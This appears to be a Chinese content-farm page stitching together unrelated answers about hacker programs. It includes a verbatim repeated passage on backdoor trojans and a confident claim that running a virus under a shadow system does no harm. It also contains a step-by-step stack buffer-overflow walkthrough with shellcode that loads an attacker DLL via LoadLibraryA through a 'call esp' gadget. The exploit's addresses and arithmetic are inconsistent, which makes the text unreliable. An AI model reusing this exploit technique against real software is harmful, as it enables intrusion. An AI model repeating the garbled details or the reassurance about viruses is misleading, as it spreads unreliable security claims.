运行黑客(黑客代码 黑客程序)
本文目录一览:
什么是黑客程序?
所谓黑客程序,是指一种无传染性的系统安全屏蔽程序。它被植入计算机系统,一旦黑客程序感染了计算机,便与黑客里应外合,使黑客攻击变得十分容易。
现在的黑客程序很可怕,就好像在你的计算机上隐藏了一套摄录装置。它可能窃取你的存折和信用卡的账号密码,偷看你的日记、情书,有时候,它甚至能够在你的计算机上留下暗门,随后供黑客出入,把你的计算机完全地控制起来。
设想一下,如果黑客通过一台计算机和一条电话线进入国家重要的政治、经济、军事、金融、保险网络系统,并进行控制或破坏,社会会怎么样?
黑客软件就是这样的一种工具,它可以使得那些略懂一些软件的人成为黑客,因为,一切都是现成的了,只需要学一学怎么用就可以了。借助黑客软件,十几岁的孩子都能成为黑客,就像操作自己的计算机一样轻而易举,通过互联网进入并远程控制被黑客程序“感染”过的计算机,这实在是一件很可怕的事情。
因此,专家认为,黑客软件不是病毒,但危害性要比病毒严重得多。
有一个黑客群体发布了一个人侵Windows机器的程序“后门”。它可以让用户经由因特网进入并控制远程Windows计算机。实际上,现在网络上到处都有这样的自由软件下载,这简直和到处都是枪支店一样危险。
所有运行在Windows95/98操作平台之上、使用支持TCP/IP通讯协议进行联网的计算机系统,都有可能遭受黑客程序“后门”的攻击。实际上这几乎包括了几乎所有的网络用户,可以把通过电话线拨号上网钓用户一网打尽。
专家告诉我们,目前已发现黑客程序的种类很多。黑客程序只要进行一次欺骗性的运行就可以完成自动安装,而且永远起作用,其破坏无规律可循,无法预见。
黑客程序的传播途径也五花八门,例如电子邮件的附件、共享软件程序、聊天软件、盗版光盘上不明用途的软件、电子贺卡寄送的可执行的“礼物”程序。这就告诉我们,随便安装程序是一件很危险的事情,尤其是重要部门的计算机系统。
如何成为黑客
对一个黑客来说,学会编程是必须的,计算机可以说就是为了编程而设计的,运行程序是计算机的唯一功能。对了,数学也是不可少的,运行程序其实就是运算,离散数学、线性代数、微积分等。
经常逛“华中帝国”“黑基网”“华夏联盟”等网站,学习里面的教程之类的。熟悉协议,熟练使用汇编语言,知道如何通过软件对硬件调用。
黑客的由来:
黑客这个词源于上个世纪50年代的麻省理工,当时MIT的一帮聪明又精力充沛的年轻学生们,聚集在一起,思维的火花互相碰撞,有了共同想法的人组成了一个个兴趣小组。比如那个最著名Tech Model Railroad Cloub(铁路技术俱乐部),大家在一起学习研究火车的构成、信号控制系统,自己动手组装模型,修改模型,一起研究做实验,把心中一个个idea付诸实现。
黑客程序有哪些危害?
所谓黑客程序,是指一种无传染性的系统安全屏蔽程序。它被植入计算机系统,一旦黑客程序感染了计算机,便与黑客里应外合,使黑客攻击变得十分容易。
现在的黑客程序很可怕,就好像在你的计算机上隐藏了一套摄录装置。它可能窃取你的存折和信用卡的账号密码,偷看你的日记、情书,有时候,它甚至能够在你的计算机上留下暗门,随后供黑客出入,把你的计算机完全地控制起来。
设想一下,如果黑客通过一台计算机和一条电话线进入国家重要的政治、经济、军事、金融、保险网络系统,并进行控制或破坏,社会会怎么样?
黑客软件就是这样的一种工具,它可以使得那些略懂一些软件的人成为黑客,因为,一切都是现成的了,只需要学一学怎么用就可以了。借助黑客软件,十几岁的孩子都能成为黑客,就像操作自己的计算机一样轻而易举,通过互联网进入并远程控制被黑客程序“感染”过的计算机,这实在是一件很可怕的事情。
因此,专家认为,黑客软件不是病毒,但危害性要比病毒严重得多。
有一个黑客群体发布了一个人侵Windows机器的程序“后门”。它可以让用户经由因特网进入并控制远程Windows计算机。实际上,现在网络上到处都有这样的自由软件下载,这简直和到处都是枪支店一样危险。
所有运行在Windows95/98操作平台之上、使用支持TCP/IP通讯协议进行联网的计算机系统,都有可能遭受黑客程序“后门”的攻击。实际上这几乎包括了几乎所有的网络用户,可以把通过电话线拨号上网钓用户一网打尽。
专家告诉我们,目前已发现黑客程序的种类很多。黑客程序只要进行一次欺骗性的运行就可以完成自动安装,而且永远起作用,其破坏无规律可循,无法预见。
黑客程序的传播途径也五花八门,例如电子邮件的附件、共享软件程序、聊天软件、盗版光盘上不明用途的软件、电子贺卡寄送的可执行的“礼物”程序。这就告诉我们,随便安装程序是一件很危险的事情,尤其是重要部门的计算机系统。
如何利用缓冲区溢出的程序错误来运行黑客程序
上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include stdio.h
#include string.h
void foo(const char *input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char *argv[])
{
foo("1234567890123456123456123456");
return 0;
}
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函数返回地址| |
---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:
mov esp ebp
pop ebp
ret
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
下面是步骤:
1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:
#include
"stdafx.h"
#include stdio.h
#include windows.h
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( si,
sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepad.exe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:
7C914393: FF E5 call esp
4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:
Module | ... 中间很多省略 ... | Preferred Base
-------------------------------------------------------------------------
Kernel32.dll | .... | 0x77E000000
将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
stdio.h
#include string.h
void func(char *p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char *argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了
开着影子系统,运行黑客病毒,会对电脑有损害吗?
当你关机的时候,影子系统伴随着你的一切操作(包括病毒)都会消失的。对电脑没有任何损害,放心吧!
常见的网络攻击类型有哪些?
企业最容易遭受的5种网络攻击类型:
1、恶意社交工程-软件
经过社交工程设计的恶意软件形成了第一大攻击方法。最终用户常常被诱骗去运行特洛伊木马程序,通常是在他们经常访问和信任的伪装网站上。
恶意网站让用户安装一些新软件,以便访问该网站,比如更新flash等常规操作,运行伪造的防病毒软件或运行其他不必要且恶意的木马软件。通常会指示用户单机浏览或操作系统发出的任何安全警告,并禁用可能的防御措施。
有时,木马程序伪装成合法的程序,而有时它会消失在后台运行,开始执行其恶意行为。恶意社交工程软件程序每年导致成千上万的黑客入侵。相对于这些数字,所有其他黑客攻击类型都是冰山一角。
2、网络钓鱼攻击
大约60%到70%的电子邮件都是垃圾邮件,其中大部分是网络钓鱼攻击邮件,旨在诱骗用户脱离其正常登录网站。幸运的是,反垃圾邮件供应商和服务取得了长足的进步,因此我们大多数人的收件箱都比较整洁。但是,很多人每天都会收到几封垃圾邮件,而每周至少有几十封垃圾邮件都是合法电子邮件的仿品。
网络钓鱼电子邮件是一种被破坏的艺术品。它甚至会虚伪的警告读者不要沉迷于欺诈性电子邮件。而它唯一的目的是流氓链接,下一步就是要用户提供机密信息。
3、未及时更新打补丁的软件
紧随恶意社会工程软件和网络钓鱼的是漏洞的软件。最常见的是未打补丁和最容易被黑客利用的程序是浏览器加载项程序,比如:Adobe
Reader,以及人们经常用来使网站冲浪更容易的其他程序。多年来很多黑客一直采用这种方式,但奇怪的是,我看过的无数家公司都没有及时的打上补丁,也没有应对的安全软件。
4、社交媒体威胁
我们的世界是一个社交世界,由Facebook、微信、微博或在其国家/地区受欢迎的同行领袖。黑客喜欢利用公司社交媒体账户,这是通过来收集可能在社交媒体网站和公司网络之间共享的密码因素。当今许多最严重的黑客攻击都是从简单的社交媒体攻击开始的。不要小看其潜力,很多个人、企业以及明星,或者国家机构的账号都曾被黑客恶意使用过。
5、高级持续威胁
高级持续威胁(APT)是由犯罪分子或民族国家实施的网络攻击,目的是在很长一段时间内窃取数据或监视系统。攻击者具有特定的目标和目的,并花费了时间和资源来确定他们可以利用哪些漏洞来获取访问权限,并设计可能很长时间未发现的攻击。该攻击通常包括使用自定义恶意软件。
APT的动机可能是经济利益或政治间谍。APT最初主要与想要窃取政府或工业机密的民族国家行为者联系在一起。网络犯罪分子现在使用APT窃取他们可以出售或以其他方式货币化的数据或知识产权。
APT黑客和恶意软件比以往任何时候都更为普遍和复杂。对于一些为政府或相关行业服务的专业黑客,他们的全职工作是黑客攻击特定的公司和目标。他们执行与自己的赞助者的利益相关的动作,包括访问机密信息,植入破坏性代码或放置隐藏的后门程序,使他们可以随意潜入目标网络或计算机。